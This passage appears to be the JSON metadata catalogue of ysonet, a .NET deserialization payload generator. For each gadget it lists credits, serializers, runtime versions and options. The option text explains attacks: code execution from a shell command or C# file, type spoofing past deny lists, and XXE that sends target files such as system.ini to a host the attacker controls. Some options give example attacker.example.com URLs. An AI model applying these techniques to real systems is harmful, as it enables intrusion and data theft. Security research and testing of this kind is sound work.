"targetCapabilities": [{"variant": null, "kinds": ["network", "file-system"], "formatters": ["Json.NET", "JavaScriptSerializer", "FastJson", "YamlDotNet", "Xaml", "SharpSerializerXml", "SharpSerializerBinary", "MessagePackTypeless", "MessagePackTypelessLz4", "DataContractJsonSerializer", "DataContractSerializer", "NetDataContractSerializer"], "inputs": ["target-path", "unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.BootstrapperBuilderGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ClaimsIdentity", "description": "", "labels": ["A bridged gadget", "Uses OnDeserialized attribute"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "SoapFormatter", "DataContractSerializer", "DataContractJsonSerializer", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ClaimsIdentityGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ClaimsPrincipal", "description": "", "labels": ["A bridged gadget", "Uses OnDeserialized attribute", "Second order deserialization"], "credit": "[Finders: jang]", "finders": "jang", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "SoapFormatter", "DataContractSerializer", "DataContractJsonSerializer", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ClaimsPrincipalGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ColorConvertedBitmapExtension", "description": "One XAML document makes the target request three URIs it names: image, source ICC profile, destination ICC profile. The profiles must return valid profiles. Remote image/profile loading is documented WPF behaviour, so this is a shape, not a new bug.", "labels": ["An independent gadget"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "Url", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Xaml", "declaration": "Xaml"}], "options": [{"prototype": "source-profile=", "aliases": ["source-profile"], "description": "REQUIRED. The URI of the source ICC colour profile the target requests. It MUST answer with a valid ICC/ICM profile: WPF's ColorContext parses it, and a parse failure throws before the destination and image requests happen.\r\n --source-profile http://attacker.example.com/source.icc\nRequired.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": true, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}, {"prototype": "destination-profile=", "aliases": ["destination-profile"], "description": "REQUIRED. The URI of the destination ICC colour profile the target requests. Same rule as the source profile: it must answer with a valid profile.\r\n --destination-profile http://attacker.example.com/destination.icc\nRequired.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": true, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}, {"prototype": "rawinput", "aliases": ["rawinput"], "description": "Put the three URIs into the payload template exactly as typed, instead of escaping them for XML element text. Use this only when you have already escaped the values yourself. It also turns off the check that the finished payload still carries each URI as its own token, because there is then no text of yours left to compare against.\r\n\r\nWHAT TO PUT IN. Three absolute URIs the target's WebRequest stack accepts, one per input:\r\n -c the image, e.g. http://h/i?a=b&c=d\r\n --source-profile the source ICC profile\r\n --destination-profile the destination ICC profile\r\nNone of the three may contain a SPACE: the target's constructor splits the one argument on the space character, so a space would break the triple. A query string is fine.\r\n\r\nWHAT THE TARGET DOES. It requests the source profile, then the destination profile, then the image. The two profile responses must be valid profiles or the chain stops early; the image response goes to the WIC decoder. The bytes are never sent anywhere and you never see them.\r\n\r\n-t IS ACCEPTED and it parses the payload HERE, so THIS machine makes the three requests. Only point them at endpoints you own.\r\n\r\nWHAT A CALLBACK PROVES. That the target resolved your hosts and issued the requests. It is not proof of a native vulnerability, of code execution, or of any data returning to you.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["network"], "formatters": ["Xaml"], "inputs": ["remote-url"], "requirements": ["built-in", "wpf", "net-framework", "modern-dotnet"], "runtimeVersions": ["net-fx-4.8.1", "net-10.0"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ColorConvertedBitmapExtensionGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "DataSet", "description": "", "labels": ["A bridged gadget"], "credit": "[Finders: James Forshaw] [Contributors: Soroush Dalili]", "finders": "James Forshaw", "contributors": "Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.DataSetGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "DataSetOldBehaviour", "description": "This gadget targets an old behavior of DataSet which uses XML format", "labels": ["A bridged gadget"], "credit": "[Finders: Steven Seeley, Markus Wulftange, Khoa Dinh] [Contributors: Soroush Dalili]", "finders": "Steven Seeley, Markus Wulftange, Khoa Dinh", "contributors": "Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "LosFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}], "options": [{"prototype": "spoofedAssembly=", "aliases": ["spoofedAssembly"], "description": "The assembly name you want to use in the generated serialized object (example: 'mscorlib' or use 'default' for System.Data)\nSuggested values: mscorlib, default.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["mscorlib", "default"]}, {"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Payload variant number where applicable. Choices: 1 (default), 2\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}], "variants": [{"number": 1, "label": "default DataSet schema (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "List array schema (SharePoint/ToolShell)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.DataSetOldBehaviourGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "DataSetOldBehaviourFromFile", "description": "Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as the path to the .cs file that should be compiled as an exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.dll'", "labels": [], "credit": "[Finders: Steven Seeley, Markus Wulftange, Khoa Dinh] [Contributors: Soroush Dalili]", "finders": "Steven Seeley, Markus Wulftange, Khoa Dinh", "contributors": "Soroush Dalili", "commandInput": "CsSourceFile", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}], "options": [{"prototype": "spoofedAssembly=", "aliases": ["spoofedAssembly"], "description": "The assembly name you want to use in the generated serialized object (example: 'mscorlib' or use 'default' for System.Data)\nSuggested values: mscorlib, default.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["mscorlib", "default"]}, {"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Payload variant number where applicable. Choices: 1 (default), 2\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}, {"prototype": "compressed", "aliases": ["compressed"], "description": "GZip-compress the embedded assembly bytes so the payload is much smaller for a large assembly. The payload decompresses them at deserialization time via a GZipStream in the XAML chain (works with both variants).\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [{"number": 1, "label": "default DataSet schema (default)", "isDefault": true, "commandInput": "CsSourceFile", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "List array schema", "isDefault": false, "commandInput": "CsSourceFile", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "LosFormatter"], "inputs": ["source-code-file"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "LosFormatter"], "inputs": ["source-code-file"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.DataSetOldBehaviourFromFileGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "DataSetTypeSpoof", "description": "A more advanced type spoofing that can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget", "labels": ["A bridged gadget"], "credit": "[Finders: James Forshaw] [Contributors: Soroush Dalili, Markus Wulftange, Jang]", "finders": "James Forshaw", "contributors": "Soroush Dalili, Markus Wulftange, Jang", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.DataSetTypeSpoofGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "DataSetXxe", "description": "Sets the DataSet XmlSchema member so the target's legacy XmlTextReader resolves an external entity. Variant 1 fetches your URL; variant 2 reads a target file back to you. Fires when the target app uses pre-4.5.2 XML resolver defaults, when the machine turned the EnableLegacyXmlSettings switch back on, or when the app declares NO target framework moniker at all - an ASP.NET app with no is legacy even on a fully patched 4.8.1 machine.", "labels": ["An independent gadget"], "credit": "[Finders: SCRT] [Contributors: Soroush Dalili]", "finders": "SCRT", "contributors": "Soroush Dalili", "commandInput": "Url", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}, {"name": "Json.NET", "declaration": "Json.NET (2)"}, {"name": "FsPickler", "declaration": "FsPickler (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Which XML to put in the DataSet XmlSchema member. Choices:\r\n1 (default) - declare one external parameter entity pointing at the -c URL and reference it, so the target FETCHES that URL. The effect is a single outbound request (SSRF / callback) and nothing comes back to you. Point it at any http or https URL you can observe.\r\n2 - read a file on the TARGET and have the target send its content to you. -c is the BASE URL of a host you control; ysonet builds two URLs under it, \"dataset-oob.dtd\" and \"collect\". --file names what to read on the TARGET, in whatever form that target's parser resolves. --dtd-out is where ysonet writes the DTD you must publish at the first URL: without it hosted, the payload fetches a 404 and nothing is disclosed. Read the file content out of the query string of the request that arrives at the second URL.\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}, {"prototype": "rawinput", "aliases": ["rawinput"], "description": "Variant 1 only. Skip the URL validation and put -c into the DTD external identifier exactly as typed, with no trimming. Normal mode accepts an absolute http or https URL and refuses whitespace, control characters and the characters \" < > \\, because the value goes inside a QUOTED DTD external identifier and those would corrupt or escape it. Use this only for research on a resolver that accepts something else; the network effect this gadget declares was proven with http(s). It does NOT turn off the outer formatter's escaping, so the payload is still a valid document - but nothing checks that the identifier inside it still is, and a broken one simply fetches nothing.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}, {"prototype": "file=", "aliases": ["file"], "description": "Variant 2 only, and required there. What to read ON THE TARGET, usually an absolute file: URI, for example \"file:///C:/Windows/system.ini\". The value is NOT validated or rewritten: it goes into the hosted DTD exactly as typed, so a bare path, a UNC path, an http URL or any other form the target's XML parser resolves is accepted, and finding out what it resolves is the point. Nothing is opened on this machine. It sits in a quoted DTD system identifier, where no references are recognised, so '%' and '&' are literal and \"file:///C:/Program%20Files/x.txt\" is the right way to write a space; only a double quote ends the identifier and breaks the DTD. WHAT COMES BACK RELIABLY, measured rather than assumed: the content travels in a URL query string, so spaces, line breaks, < > and \" all arrive percent-encoded and can be decoded. Any of & % ' # in the file BREAKS the chain and you get no second request at all, because the first three end a construct inside the DTD and the last one starts a URI fragment. That is why a short .ini style file comes back whole and a file full of entity references or apostrophes does not. Size is not the limit (4 KB came back intact; the reader's own entity budget is 10,000,000 characters).", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}, {"prototype": "dtd-out=", "aliases": ["dtd-out"], "description": "Variant 2 only, and required there. Where to write the companion DTD you have to publish at <-c>/dataset-oob.dtd. The path is taken as given: a file already there is REPLACED and a missing folder is created, so generating twice to the same path works and ysonet says on stderr when it replaced something. The DTD is written only after the payload is built, so a failed run leaves what is already at that path alone. UTF-8 with no BOM, because the target reads it as an external subset with no XML declaration to learn an encoding from. This is separate from --outputpath, which still receives the payload itself.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [{"number": 1, "label": "Fetch an external DTD: the target requests your URL (SSRF, default)", "isDefault": true, "commandInput": "Url", "unsupportedFormatters": [], "unusedOptions": ["file", "dtd-out"], "refusesSelfTest": false}, {"number": 2, "label": "Read a target file out of band: needs --file, --dtd-out and a host you control", "isDefault": false, "commandInput": "Url", "unsupportedFormatters": [], "unusedOptions": ["rawinput"], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["network"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter", "Json.NET", "FsPickler"], "inputs": ["remote-url"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1"]}, {"variant": 2, "kinds": ["network", "file-system", "information-disclosure"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter", "Json.NET", "FsPickler"], "inputs": ["remote-url", "target-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.DataSetXxeGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "DataTable", "description": "Same-graph System.Data.DataTable root carrier: the inner TextFormattingRunProperties gadget travels in an object column and is deserialized by the same outer formatter. A standalone DataTable stores its rows inline in its own SerializationInfo (DataTable_N.Records), so unlike the DataSet gadget it opens no nested BinaryFormatter and no new binder boundary (verified against the System.Data source). Useful when a target requires or casts the deserialized root object to DataTable, for example SharePoint's ExcelDataSet.CompressedDataTable. Microsoft treats deserializing a DataTable with an unsafe formatter as a full remote code execution risk (CA2362, DataSet/DataTable security guidance). The inner gadget is selectable with var/variant: 1 (default) TextFormattingRunProperties, which needs the Microsoft.PowerShell.Editor assembly and WPF and supports BinaryFormatter, SoapFormatter and LosFormatter; 2 TypeConfuseDelegate, a framework built-in that needs no WPF or Microsoft.PowerShell.Editor and supports BinaryFormatter, SoapFormatter and LosFormatter. Its SOAP form uses generation-only aliases but presents the native CLR4 TCD graph to the target. Forshaw's 'Are You My Type?' (Black Hat 2012) documents the related but distinct DataSet nested-BinaryFormatter bridge.", "labels": [], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Inner gadget: 1 -> TextFormattingRunProperties [default], 2 -> TypeConfuseDelegate (built-in, no WPF)\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}], "variants": [{"number": 1, "label": "TextFormattingRunProperties inner (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "TypeConfuseDelegate inner (built-in, no WPF)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["extra-assembly", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.DataTableGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "DataTableTypeSpoof", "description": "The DataTable carrier written under the name of a REAL DataTable subclass, so a target that rejects System.Data.DataTable by name still rebuilds it through the inherited serialization constructor; this is not the ', x=]' binder-parse trick DataSetTypeSpoof uses, and it is the same idea watchTowr used on DataSet subclasses for CVE-2025-23120. Default profile: the in-box System.Data.Entity.Design.SsdlGenerator.TableDetailsCollection (assembly System.Data.Entity.Design, part of the full .NET Framework); --target-type and --target-assembly write any name verbatim, for the second in-box profile RelationshipDetailsCollection or a subclass from the target's own assemblies.", "labels": [], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Inner gadget: 1 -> TextFormattingRunProperties [default], 2 -> TypeConfuseDelegate (built-in, no WPF)\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}, {"prototype": "target-type=", "aliases": ["target-type"], "description": "Type name written on the wire, verbatim. Must be a DataTable subclass on the TARGET. Default: \"System.Data.Entity.Design.SsdlGenerator.TableDetailsCollection\". Second in-box profile: System.Data.Entity.Design.SsdlGenerator.RelationshipDetailsCollection\nDefault value: \"System.Data.Entity.Design.SsdlGenerator.TableDetailsCollection\".", "valueArity": "required", "metadataDeclared": true, "defaultValue": "System.Data.Entity.Design.SsdlGenerator.TableDetailsCollection", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}, {"prototype": "target-assembly=", "aliases": ["target-assembly"], "description": "Assembly identity written on the wire, verbatim (Name, Version=..., Culture=..., PublicKeyToken=...). Default: \"System.Data.Entity.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"\nDefault value: \"System.Data.Entity.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\".", "valueArity": "required", "metadataDeclared": true, "defaultValue": "System.Data.Entity.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [{"number": 1, "label": "TextFormattingRunProperties inner (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "TypeConfuseDelegate inner (built-in, no WPF)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["extra-assembly", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.DataTableTypeSpoofGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "DataViewManagerXxe", "description": "Sets DataViewSettingCollectionString so the target's legacy XmlTextReader fetches an external DTD. Fires when the target app uses pre-4.5.2 XML resolver defaults, when the machine turned the EnableLegacyXmlSettings switch back on, or when the app declares NO target framework moniker at all - an ASP.NET app with no is legacy even on a fully patched 4.8.1 machine.", "labels": ["An independent gadget"], "credit": "[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Soroush Dalili]", "finders": "Oleksandr Mirosh, Alvaro Munoz", "contributors": "Soroush Dalili", "commandInput": "Url", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Xaml", "declaration": "Xaml"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer"}, {"name": "FastJson", "declaration": "FastJson"}, {"name": "SharpSerializerXml", "declaration": "SharpSerializerXml"}, {"name": "SharpSerializerBinary", "declaration": "SharpSerializerBinary"}], "options": [{"prototype": "rawinput", "aliases": ["rawinput"], "description": "Skip the URL validation and put -c 